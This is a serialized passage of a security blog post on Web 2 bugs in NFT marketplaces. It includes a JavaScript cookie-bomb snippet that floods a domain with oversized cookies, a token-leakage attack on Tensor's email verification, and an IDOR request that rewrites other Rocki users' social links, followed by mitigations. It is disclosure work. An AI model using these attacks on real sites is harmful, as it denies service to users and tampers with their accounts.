"style":274},[36926],{"type":29,"value":36927},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":23,"tag":230,"props":36929,"children":36930},{"class":232,"line":400},[36931],{"type":23,"tag":230,"props":36932,"children":36933},{"style":274},[36934],{"type":29,"value":36935},"   var Set_Cookie = Array(10000).join('a');\n",{"type":23,"tag":230,"props":36937,"children":36938},{"class":232,"line":444},[36939],{"type":23,"tag":230,"props":36940,"children":36941},{"emptyLinePlaceholder":18},[36942],{"type":29,"value":459},{"type":23,"tag":230,"props":36944,"children":36945},{"class":232,"line":453},[36946,36951],{"type":23,"tag":230,"props":36947,"children":36948},{"style":274},[36949],{"type":29,"value":36950},"   for (var i = 1; i \u003C 99; i++) ",{"type":23,"tag":230,"props":36952,"children":36953},{"style":256},[36954],{"type":29,"value":13211},{"type":23,"tag":230,"props":36956,"children":36957},{"class":232,"line":462},[36958,36962,36966,36971,36975,36980,36985,36989,36993,36998,37002,37007,37011,37016,37020,37025],{"type":23,"tag":230,"props":36959,"children":36960},{"style":262},[36961],{"type":29,"value":1597},{"type":23,"tag":230,"props":36963,"children":36964},{"style":268},[36965],{"type":29,"value":312},{"type":23,"tag":230,"props":36967,"children":36968},{"style":262},[36969],{"type":29,"value":36970},"cookie",{"type":23,"tag":230,"props":36972,"children":36973},{"style":268},[36974],{"type":29,"value":35204},{"type":23,"tag":230,"props":36976,"children":36977},{"style":380},[36978],{"type":29,"value":36979},"'Cookie'",{"type":23,"tag":230,"props":36981,"children":36982},{"style":268},[36983],{"type":29,"value":36984}," + ",{"type":23,"tag":230,"props":36986,"children":36987},{"style":262},[36988],{"type":29,"value":6074},{"type":23,"tag":230,"props":36990,"children":36991},{"style":268},[36992],{"type":29,"value":36984},{"type":23,"tag":230,"props":36994,"children":36995},{"style":380},[36996],{"type":29,"value":36997},"'='",{"type":23,"tag":230,"props":36999,"children":37000},{"style":268},[37001],{"type":29,"value":36984},{"type":23,"tag":230,"props":37003,"children":37004},{"style":262},[37005],{"type":29,"value":37006},"Set_Cookie",{"type":23,"tag":230,"props":37008,"children":37009},{"style":268},[37010],{"type":29,"value":36984},{"type":23,"tag":230,"props":37012,"children":37013},{"style":380},[37014],{"type":29,"value":37015},"';Domain='",{"type":23,"tag":230,"props":37017,"children":37018},{"style":268},[37019],{"type":29,"value":36984},{"type":23,"tag":230,"props":37021,"children":37022},{"style":262},[37023],{"type":29,"value":37024},"Take_Domain",{"type":23,"tag":230,"props":37026,"children":37027},{"style":268},[37028],{"type":29,"value":511},{"type":23,"tag":230,"props":37030,"children":37031},{"class":232,"line":471},[37032],{"type":23,"tag":230,"props":37033,"children":37034},{"style":256},[37035],{"type":29,"value":37036},"   }\n",{"type":23,"tag":230,"props":37038,"children":37039},{"class":232,"line":500},[37040,37044,37048],{"type":23,"tag":230,"props":37041,"children":37042},{"style":34669},[37043],{"type":29,"value":36656},{"type":23,"tag":230,"props":37045,"children":37046},{"style":256},[37047],{"type":29,"value":34708},{"type":23,"tag":230,"props":37049,"children":37050},{"style":34669},[37051],{"type":29,"value":8329},{"type":23,"tag":230,"props":37053,"children":37054},{"class":232,"line":514},[37055,37059,37063],{"type":23,"tag":230,"props":37056,"children":37057},{"style":34669},[37058],{"type":29,"value":36672},{"type":23,"tag":230,"props":37060,"children":37061},{"style":256},[37062],{"type":29,"value":36562},{"type":23,"tag":230,"props":37064,"children":37065},{"style":34669},[37066],{"type":29,"value":8329},{"type":23,"tag":32,"props":37068,"children":37069},{},[37070],{"type":29,"value":37071},"As a result, we're able to prevent the user from loading images.",{"type":23,"tag":24,"props":37073,"children":37075},{"id":37074},"authentication",[37076],{"type":29,"value":37077},"Authentication",{"type":23,"tag":32,"props":37079,"children":37080},{},[37081],{"type":23,"tag":2258,"props":37082,"children":37083},{},[37084,37086,37093],{"type":29,"value":37085},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":23,"tag":181,"props":37087,"children":37090},{"href":37088,"rel":37089},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[185],[37091],{"type":29,"value":37092},"great misfortune has occured",{"type":29,"value":312},{"type":23,"tag":59,"props":37095,"children":37097},{"id":37096},"verification-token-leakage",[37098],{"type":29,"value":37099},"Verification Token Leakage",{"type":23,"tag":32,"props":37101,"children":37102},{},[37103],{"type":29,"value":37104},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":23,"tag":32,"props":37106,"children":37107},{},[37108],{"type":29,"value":37109},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":23,"tag":32,"props":37111,"children":37112},{},[37113,37117],{"type":23,"tag":2258,"props":37114,"children":37115},{},[37116],{"type":29,"value":4216},{"type":29,"value":37118},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":23,"tag":32,"props":37120,"children":37121},{},[37122],{"type":29,"value":37123},"Here's the breakdown.",{"type":23,"tag":32,"props":37125,"children":37126},{},[37127],{"type":29,"value":37128},"First, we send the verification link to a user's email:",{"type":23,"tag":33652,"props":37130,"children":37131},{"style":33654},[37132],{"type":23,"tag":93,"props":37133,"children":37137},{"src":37134,"alt":37135,"style":37136},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":23,"tag":32,"props":37139,"children":37140},{},[37141],{"type":29,"value":37142},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":23,"tag":59,"props":37144,"children":37146},{"id":37145},"idor",[37147],{"type":29,"value":37148},"IDOR",{"type":23,"tag":32,"props":37150,"children":37151},{},[37152],{"type":23,"tag":2258,"props":37153,"children":37154},{},[37155,37157,37164],{"type":29,"value":37156},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":23,"tag":181,"props":37158,"children":37161},{"href":37159,"rel":37160},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[185],[37162],{"type":29,"value":37163},"insect",{"type":29,"value":312},{"type":23,"tag":32,"props":37166,"children":37167},{},[37168,37170,37176],{"type":29,"value":37169},"During a security assessment of the ",{"type":23,"tag":181,"props":37171,"children":37174},{"href":37172,"rel":37173},"https://rocki.com",[185],[37175],{"type":29,"value":33590},{"type":29,"value":37177},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":23,"tag":32,"props":37179,"children":37180},{},[37181],{"type":29,"value":37182},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":23,"tag":32,"props":37184,"children":37185},{},[37186],{"type":29,"value":37187},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":23,"tag":32,"props":37189,"children":37190},{},[37191,37193,37199,37201,37206],{"type":29,"value":37192},"Here is an example of a request that modifies another user's social media link to ",{"type":23,"tag":71,"props":37194,"children":37196},{"className":37195},[],[37197],{"type":29,"value":37198},"https://evil.com/",{"type":29,"value":37200},". To achieve this, we simply changed the ",{"type":23,"tag":71,"props":37202,"children":37204},{"className":37203},[],[37205],{"type":29,"value":1437},{"type":29,"value":37207}," field value to one that belongs to another user:",{"type":23,"tag":32,"props":37209,"children":37210},{},[37211],{"type":23,"tag":93,"props":37212,"children":37214},{"alt":7,"src":37213},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":23,"tag":32,"props":37216,"children":37217},{},[37218],{"type":29,"value":37219},"The following screenshot is the response to our request:",{"type":23,"tag":32,"props":37221,"children":37222},{},[37223],{"type":23,"tag":93,"props":37224,"children":37226},{"alt":7,"src":37225},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":23,"tag":24,"props":37228,"children":37230},{"id":37229},"preventative-action-steps-for-marketplaces",[37231],{"type":23,"tag":2302,"props":37232,"children":37233},{},[37234],{"type":29,"value":37235},"Preventative Action Steps for Marketplaces",{"type":23,"tag":32,"props":37237,"children":37238},{},[37239],{"type":29,"value":37240},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":23,"tag":32,"props":37242,"children":37243},{},[37244,37246,37252,37254,37260],{"type":29,"value":37245},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":23,"tag":71,"props":37247,"children":37249},{"className":37248},[],[37250],{"type":29,"value":37251},"innerText",{"type":29,"value":37253}," instead of ",{"type":23,"tag":71,"props":37255,"children":37257},{"className":37256},[],[37258],{"type":29,"value":37259},"innerHTML",{"type":29,"value":37261}," in client-side:",{"type":23,"tag":220,"props":37263,"children":37265},{"className":33669,"code":37264,"language":33671,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[37266],{"type":23,"tag":71,"props":37267,"children":37268},{"__ignoreMap":7},[37269],{"type":23,"tag":230,"props":37270,"children":37271},{"class":232,"line":233},[37272,37276,37280,37285,37289,37294,37298,37302,37306,37311],{"type":23,"tag":230,"props":37273,"children":37274},{"style":262},[37275],{"type":29,"value":35000},{"type":23,"tag":230,"props":37277,"children":37278},{"style":274},[37279],{"type":29,"value":312},{"type":23,"tag":230,"props":37281,"children":37282},{"style":294},[37283],{"type":29,"value":37284},"getElementById",{"type":23,"tag":230,"props":37286,"children":37287},{"style":274},[37288],{"type":29,"value":302},{"type":23,"tag":230,"props":37290,"children":37291},{"style":380},[37292],{"type":29,"value":37293},"'nftCollectionName'",{"type":23,"tag":230,"props":37295,"children":37296},{"style":274},[37297],{"type":29,"value":23057},{"type":23,"tag":230,"props":37299,"children":37300},{"style":262},[37301],{"type":29,"value":37251},{"type":23,"tag":230,"props":37303,"children":37304},{"style":268},[37305],{"type":29,"value":271},{"type":23,"tag":230,"props":37307,"children":37308},{"style":262},[37309],{"type":29,"value":37310}," nftCollectionName",{"type":23,"tag":230,"props":37312,"children":37313},{"style":274},[37314],{"type":29,"value":511},{"type":23,"tag":32,"props":37316,"children":37317},{},[37318],{"type":29,"value":37319},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":23,"tag":220,"props":37321,"children":37323},{"className":33669,"code":37322,"language":33671,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[37324],{"type":23,"tag":71,"props":37325,"children":37326},{"__ignoreMap":7},[37327],{"type":23,"tag":230,"props":37328,"children":37329},{"class":232,"line":233},[37330,37335,37340,37344,37349,37353,37358,37362,37367],{"type":23,"tag":230,"props":37331,"children":37332},{"style":256},[37333],{"type":29,"value":37334},"var",{"type":23,"tag":230,"props":37336,"children":37337},{"style":262},[37338],{"type":29,"value":37339}," sanitizedInput",{"type":23,"tag":230,"props":37341,"children":37342},{"style":268},[37343],{"type":29,"value":271},{"type":23,"tag":230,"props":37345,"children":37346},{"style":262},[37347],{"type":29,"value":37348}," DOMPurify",{"type":23,"tag":230,"props":37350,"children":37351},{"style":274},[37352],{"type":29,"value":312},{"type":23,"tag":230,"props":37354,"children":37355},{"style":294},[37356],{"type":29,"value":37357},"sanitize",{"type":23,"tag":230,"props":37359,"children":37360},{"style":274},[37361],{"type":29,"value":302},{"type":23,"tag":230,"props":37363,"children":37364},{"style":262},[37365],{"type":29,"value":37366},"userInput",{"type":23,"tag":230,"props":37368,"children":37369},{"style":274},[37370],{"type":29,"value":753},{"type":23,"tag":32,"props":37372,"children":37373},{},[37374,37376,37383],{"type":29,"value":37375},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":23,"tag":181,"props":37377,"children":37380},{"href":37378,"rel":37379},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[185],[37381],{"type":29,"value":37382},"Content-Security-Policy",{"type":29,"value":37384}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":23,"tag":32,"props":37386,"children":37387},{},[37388],{"type":29,"value":37389},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":23,"tag":32,"props":37391,"children":37392},{},[37393,37395,37402],{"type":29,"value":37394},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":23,"tag":181,"props":37396,"children":37399},{"href":37397,"rel":37398},"https://www.techtarget.com/whatis/definition/whitelist",[185],[37400],{"type":29,"value":37401},"allow-list",{"type":29,"value":37403}," :",{"type":23,"tag":220,"props":37405,"children":37407},{"className":33669,"code":37406,"language":33671,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[37408],{"type":23,"tag":71,"props":37409,"children":37410},{"__ignoreMap":7},[37411,37440,37481,37511],{"type":23,"tag":230,"props":37412,"children":37413},{"class":232,"line":233},[37414,37418,37423,37427,37431,37436],{"type":23,"tag":230,"props":37415,"children":37416},{"style":256},[37417],{"type":29,"value":259},{"type":23,"tag":230,"props":37419,"children":37420},{"style":262},[37421],{"type":29,"value":37422}," allowDomains",{"type":23,"tag":230,"props":37424,"children":37425},{"style":268},[37426],{"type":29,"value":271},{"type":23,"tag":230,"props":37428,"children":37429},{"style":274},[37430],{"type":29,"value":25347},{"type":23,"tag":230,"props":37432,"children":37433},{"style":380},[37434],{"type":29,"value":37435},"'https://allowed-domain'",{"type":23,"tag":230,"props":37437,"children":37438},{"style":274},[37439],{"type":29,"value":33871},{"type":23,"tag":230,"props":37441,"children":37442},{"class":232,"line":243},[37443,37447,37451,37455,37460,37464,37468,37472,37476],{"type":23,"tag":230,"props":37444,"children":37445},{"style":866},[37446],{"type":29,"value":17904},{"type":23,"tag":230,"props":37448,"children":37449},{"style":274},[37450],{"type":29,"value":664},{"type":23,"tag":230,"props":37452,"children":37453},{"style":268},[37454],{"type":29,"value":22936},{"type":23,"tag":230,"props":37456,"children":37457},{"style":262},[37458],{"type":29,"value":37459},"allowDomains",{"type":23,"tag":230,"props":37461,"children":37462},{"style":274},[37463],{"type":29,"value":312},{"type":23,"tag":230,"props":37465,"children":37466},{"style":294},[37467],{"type":29,"value":3134},{"type":23,"tag":230,"props":37469,"children":37470},{"style":274},[37471],{"type":29,"value":302},{"type":23,"tag":230,"props":37473,"children":37474},{"style":262},[37475],{"type":29,"value":35010},{"type":23,"tag":230,"props":37477,"children":37478},{"style":274},[37479],{"type":29,"value":37480},")) {\n",{"type":23,"tag":230,"props":37482,"children":37483},{"class":232,"line":252},[37484,37489,37493,37498,37502,37507],{"type":23,"tag":230,"props":37485,"children":37486},{"style":866},[37487],{"type":29,"value":37488},"  throw",{"type":23,"tag":230,"props":37490,"children":37491},{"style":256},[37492],{"type":29,"value":291},{"type":23,"tag":230,"props":37494,"children":37495},{"style":294},[37496],{"type":29,"value":37497}," ApolloError",{"type":23,"tag":230,"props":37499,"children":37500},{"style":274},[37501],{"type":29,"value":302},{"type":23,"tag":230,"props":37503,"children":37504},{"style":380},[37505],{"type":29,"value":37506},"'invalid domain'",{"type":23,"tag":230,"props":37508,"children":37509},{"style":274},[37510],{"type":29,"value":753},{"type":23,"tag":230,"props":37512,"children":37513},{"class":232,"line":280},[37514],{"type":23,"tag":230,"props":37515,"children":37516},{"style":274},[37517],{"type":29,"value":975},{"type":23,"tag":32,"props":37519,"children":37520},{},[37521,37523,37530,37532,37539],{"type":29,"value":37522},"As ",{"type":23,"tag":181,"props":37524,"children":37527},{"href":37525,"rel":37526},"https://graphql.org/",[185],[37528],{"type":29,"value":37529},"GraphQl",{"type":29,"value":37531}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":23,"tag":181,"props":37533,"children":37536},{"href":37534,"rel":37535},"https://graphql.org/learn/introspection/",[185],[37537],{"type":29,"value":37538},"introspection",{"type":29,"value":37540}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":23,"tag":220,"props":37542,"children":37544},{"className":33669,"code":37543,"language":33671,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[37545],{"type":23,"tag":71,"props":37546,"children":37547},{"__ignoreMap":7},[37548,37577,37589,37601,37617],{"type":23,"tag":230,"props":37549,"children":37550},{"class":232,"line":233},[37551,37555,37560,37564,37568,37573],{"type":23,"tag":230,"props":37552,"children":37553},{"style":256},[37554],{"type":29,"value":259},{"type":23,"tag":230,"props":37556,"children":37557},{"style":262},[37558],{"type":29,"value":37559}," server",{"type":23,"tag":230,"props":37561,"children":37562},{"style":268},[37563],{"type":29,"value":271},{"type":23,"tag":230,"props":37565,"children":37566},{"style":256},[37567],{"type":29,"value":291},{"type":23,"tag":230,"props":37569,"children":37570},{"style":294},[37571],{"type":29,"value":37572}," ApolloServer",{"type":23,"tag":230,"props":37574,"children":37575},{"style":274},[37576],{"type":29,"value":368},{"type":23,"tag":230,"props":37578,"children":37579},{"class":232,"line":243},[37580,37585],{"type":23,"tag":230,"props":37581,"children":37582},{"style":262},[37583],{"type":29,"value":37584},"  typeDefs",{"type":23,"tag":230,"props":37586,"children":37587},{"style":274},[37588],{"type":29,"value":388},{"type":23,"tag":230,"props":37590,"children":37591},{"class":232,"line":252},[37592,37597],{"type":23,"tag":230,"props":37593,"children":37594},{"style":262},[37595],{"type":29,"value":37596},"  resolvers",{"type":23,"tag":230,"props":37598,"children":37599},{"style":274},[37600],{"type":29,"value":388},{"type":23,"tag":230,"props":37602,"children":37603},{"class":232,"line":280},[37604,37609,37613],{"type":23,"tag":230,"props":37605,"children":37606},{"style":262},[37607],{"type":29,"value":37608},"  introspection:",{"type":23,"tag":230,"props":37610,"children":37611},{"style":256},[37612],{"type":29,"value":11391},{"type":23,"tag":230,"props":37614,"children":37615},{"style":274},[37616],{"type":29,"value":388},{"type":23,"tag":230,"props":37618,"children":37619},{"class":232,"line":334},[37620],{"type":23,"tag":230,"props":37621,"children":37622},{"style":274},[37623],{"type":29,"value":2582},{"type":23,"tag":32,"props":37625,"children":37626},{},[37627,37629,37636,37638,37645],{"type":29,"value":37628},"Similarly, when ",{"type":23,"tag":181,"props":37630,"children":37633},{"href":37631,"rel":37632},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[185],[37634],{"type":29,"value":37635},"batching",{"type":29,"value":37637}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":23,"tag":181,"props":37639,"children":37642},{"href":37640,"rel":37641},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[185],[37643],{"type":29,"value":37644},"denial-of-service",{"type":29,"value":37646}," (DoS) attacks.",{"type":23,"tag":32,"props":37648,"children":37649},{},[37650],{"type":29,"value":37651},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":23,"tag":32,"props":37653,"children":37654},{},[37655],{"type":29,"value":37656},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":23,"tag":37658,"props":37659,"children":37660},"h1",{"id":5163},[37661],{"type":29,"value":5166},{"type":23,"tag":32,"props":37663,"children":37664},{},[37665],{"type":29,"value":37666},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":23,"tag":32,"props":37668,"children":37669},{},[37670],{"type":29,"value":37671},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":23,"tag":24,"props":37673,"children":37675},{"id":37674},"disclaimer",[37676],{"type":29,"value":37677},"Disclaimer",{"type":23,"tag":32,"props":37679,"children":37680},{},[37681],{"type":29,"value":37682},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":23,"tag":5178,"props":37684,"children":37685},{},[37686],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":37688},[37689,37692,37698,37702,37703],{"id":31322,"depth":243,"text":31325,"children":37690},[37691],{"id":5257,"depth":252,"text":5260},{"id":33513,"depth":243,"text":33543,"children":37693},[37694,37695,37696,37697],{"id":33562,"depth":252,"text":33565},{"id":33627,"depth":252,"text":33630},{"id":36440,"depth":252,"text":36443},{"id":36730,"depth":252,"text":36733},{"id":37074,"depth":243,"text":37077,"children":37699},[37700,37701],{"id":37096,"depth":252,"text":37099},{"id":37145,"depth":252,"text":37148},{"id":37229,"depth":243,"text":37235},{"id":37674,"depth":243,"text":37677},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":37708,"image":37709,"date":17,"isFeatured":18,"onBlogPage":18,"body":37710,"_type":5202,"_id":5203,"_source":5204,"_file":5205,"_stem":5206,"_extension":5207},[11,12],{"src":14,"height":15,"width":16},{"type":20,"children":37711,"toc":42194},[37712,37716,37720,37724,37728,37732,37736,37740,37750,37754,37758,37764,37791,37795,37799,37814,37820,37824,37834,37838,37854,38094,38116,38120,38136,38489,38505,38514,38805,38821,39074,39078,39082,39086,39096,39100,39110,39352,39386,39396,39400,39410,39414,39418,39428,39457,39461,39477,39580,39602,39606,39621,39631,39635,39639,39654,39758,39762,39778,39788,39803,39896,39917,39932,40046,40068,40078,40082,40086,40090,40094,40113,40117,40121,40125,40129,40151,40524,40546,40568,40572,40600,40889,40905,40909,40930,40940,40944,40966,41240,41268,41283,41287,41316,41320,41324,41328,41334,41338,41360,42101,42117,42121,42137,42178,42182,42186,42190],{"type":23,"tag":24,"props":37713,"children":37714},{"id":26},[37715],{"type":29,"value":30},{"type":23,"tag":32,"props":37717,"children":37718},{},[37719],{"type":29,"value":36},{"type":23,"tag":32,"props":37721,"children":37722},{},[37723],{"type":29,"value":41},{"type":23,"tag":32,"props":37725,"children":37726},{},[37727],{"type":29,"value":46},{"type":23,"tag":24,"props":37729,"children":37730},{"id":49},[37731],{"type":29,"value":52},{"type":23,"tag":32,"props":37733,"children":37734},{},[37735],{"type":29,"value":57},{"type":23,"tag":59,"props":37737,"children":37738},{"id":61},[37739],{"type":29,"value":64},{"type":23,"tag":32,"props":37741,"children":37742},{},[37743,37744,37749],{"type":29,"value":69},{"type":23,"tag":71,"props":37745,"children":37747},{"className":37746},[],[37748],{"type":29,"value":76},{"type":29,"value":78},{"type":23,"tag":32,"props":37751,"children":37752},{},[37753],{"type":29,"value":83},{"type":23,"tag":32,"props":37755,"children":37756},{},[37757],{"type":29,"value":88},{"type":23,"tag":32,"props":37759,"children":37760},{},[37761],{"type":23,"tag":93,"props":37762,"children":37763},{"alt":7,"src":95},[],{"type":23,"tag":98,"props":37765,"children":37766},{},[37767,37782],{"type":23,"tag":102,"props":37768,"children":37769},{},[37770,37775,37776,37781],{"type":23,"tag":71,"props":37771,"children":37773},{"className":37772},[],[37774],{"type":29,"value":110},{"type":29,"value":112},{"type":23,"tag":71,"props":37777,"children":37779},{"className":37778},[],[37780],{"type":29,"value":118},{"type":29,"value":120},{"type":23,"tag":102,"props":37783,"children":37784},{},[37785,37790],{"type":23,"tag":71,"props":37786,"children":37788},{"className":37787},[],[37789],{"type":29,"value":129},{"type":29,"value":131},{"type":23,"tag":59,"props":37792,"children":37793},{"id":134},[37794],{"type":29,"value":137},{"type":23,"tag":32,"props":37796,"children":37797},{},[37798],{"type":29,"value":142},{"type":23,"tag":144,"props":37800,"children":37801},{},[37802,37806,37810],{"type":23,"tag":102,"props":37803,"children":37804},{},[37805],{"type":29,"value":151},{"type":23,"tag":102,"props":37807,"children":37808},{},[37809],{"type":29,"value":156},{"type":23,"tag":102,"props":37811,"children":37812},{},[37813],{"type":29,"value":161},{"type":23,"tag":32,"props":37815,"children":37816},{},[37817],{"type":23,"tag":93,"props":37818,"children":37819},{"alt":7,"src":167},[],{"type":23,"tag":59,"props":37821,"children":37822},{"id":171},[37823],{"type":29,"value":174},{"type":23,"tag":32,"props":37825,"children":37826},{},[37827,37828,37833],{"type":29,"value":179},{"type":23,"tag":181,"props":37829,"children":37831},{"href":183,"rel":37830},[185],[37832],{"type":29,"value":188},{"type":29,"value":190},{"type":23,"tag":192,"props":37835,"children":37836},{"id":194},[37837],{"type":29,"value":197},{"type":23,"tag":32,"props":37839,"children":37840},{},[37841,37842,37847,37848,37853],{"type":29,"value":202},{"type":23,"tag":71,"props":37843,"children":37845},{"className":37844},[],[37846],{"type":29,"value":208},{"type":29,"value":210},{"type":23,"tag":181,"props":37849,"children":37851},{"href":213,"rel":37850},[185],[37852],{"type":29,"value":71},{"type":29,"value":218},{"type":23,"tag":220,"props":37855,"children":37856},{"className":222,"code":223,"language":224,"meta":7,"style":7},[37857],{"type":23,"tag":71,"props":37858,"children":37859},{"__ignoreMap":7},[37860,37867,37874,37893,37936,37967,37982,37989,38028,38035,38042,38049,38076,38087],{"type":23,"tag":230,"props":37861,"children":37862},{"class":232,"line":233},[37863],{"type":23,"tag":230,"props":37864,"children":37865},{"style":237},[37866],{"type":29,"value":240},{"type":23,"tag":230,"props":37868,"children":37869},{"class":232,"line":243},[37870],{"type":23,"tag":230,"props":37871,"children":37872},{"style":237},[37873],{"type":29,"value":249},{"type":23,"tag":230,"props":37875,"children":37876},{"class":232,"line":252},[37877,37881,37885,37889],{"type":23,"tag":230,"props":37878,"children":37879},{"style":256},[37880],{"type":29,"value":259},{"type":23,"tag":230,"props":37882,"children":37883},{"style":262},[37884],{"type":29,"value":265},{"type":23,"tag":230,"props":37886,"children":37887},{"style":268},[37888],{"type":29,"value":271},{"type":23,"tag":230,"props":37890,"children":37891},{"style":274},[37892],{"type":29,"value":277},{"type":23,"tag":230,"props":37894,"children":37895},{"class":232,"line":280},[37896,37900,37904,37908,37912,37916,37920,37924,37928,37932],{"type":23,"tag":230,"props":37897,"children":37898},{"style":262},[37899],{"type":29,"value":286},{"type":23,"tag":230,"props":37901,"children":37902},{"style":256},[37903],{"type":29,"value":291},{"type":23,"tag":230,"props":37905,"children":37906},{"style":294},[37907],{"type":29,"value":297},{"type":23,"tag":230,"props":37909,"children":37910},{"style":274},[37911],{"type":29,"value":302},{"type":23,"tag":230,"props":37913,"children":37914},{"style":262},[37915],{"type":29,"value":307},{"type":23,"tag":230,"props":37917,"children":37918},{"style":274},[37919],{"type":29,"value":312},{"type":23,"tag":230,"props":37921,"children":37922},{"style":262},[37923],{"type":29,"value":317},{"type":23,"tag":230,"props":37925,"children":37926},{"style":274},[37927],{"type":29,"value":312},{"type":23,"tag":230,"props":37929,"children":37930},{"style":262},[37931],{"type":29,"value":326},{"type":23,"tag":230,"props":37933,"children":37934},{"style":274},[37935],{"type":29,"value":331},{"type":23,"tag":230,"props":37937,"children":37938},{"class":232,"line":334},[37939,37943,37947,37951,37955,37959,37963],{"type":23,"tag":230,"props":37940,"children":37941},{"style":262},[37942],{"type":29,"value":340},{"type":23,"tag":230,"props":37944,"children":37945},{"style":256},[37946],{"type":29,"value":345},{"type":23,"tag":230,"props":37948,"children":37949},{"style":274},[37950],{"type":29,"value":312},{"type":23,"tag":230,"props":37952,"children":37953},{"style":262},[37954],{"type":29,"value":354},{"type":23,"tag":230,"props":37956,"children":37957},{"style":274},[37958],{"type":29,"value":312},{"type":23,"tag":230,"props":37960,"children":37961},{"style":294},[37962],{"type":29,"value":363},{"type":23,"tag":230,"props":37964,"children":37965},{"style":274},[37966],{"type":29,"value":368},{"type":23,"tag":230,"props":37968,"children":37969},{"class":232,"line":371},[37970,37974,37978],{"type":23,"tag":230,"props":37971,"children":37972},{"style":262},[37973],{"type":29,"value":377},{"type":23,"tag":230,"props":37975,"children":37976},{"style":380},[37977],{"type":29,"value":383},{"type":23,"tag":230,"props":37979,"children":37980},{"style":274},[37981],{"type":29,"value":388},{"type":23,"tag":230,"props":37983,"children":37984},{"class":232,"line":391},[37985],{"type":23,"tag":230,"props":37986,"children":37987},{"style":274},[37988],{"type":29,"value":397},{"type":23,"tag":230,"props":37990,"children":37991},{"class":232,"line":400},[37992,37996,38000,38004,38008,38012,38016,38020,38024],{"type":23,"tag":230,"props":37993,"children":37994},{"style":262},[37995],{"type":29,"value":406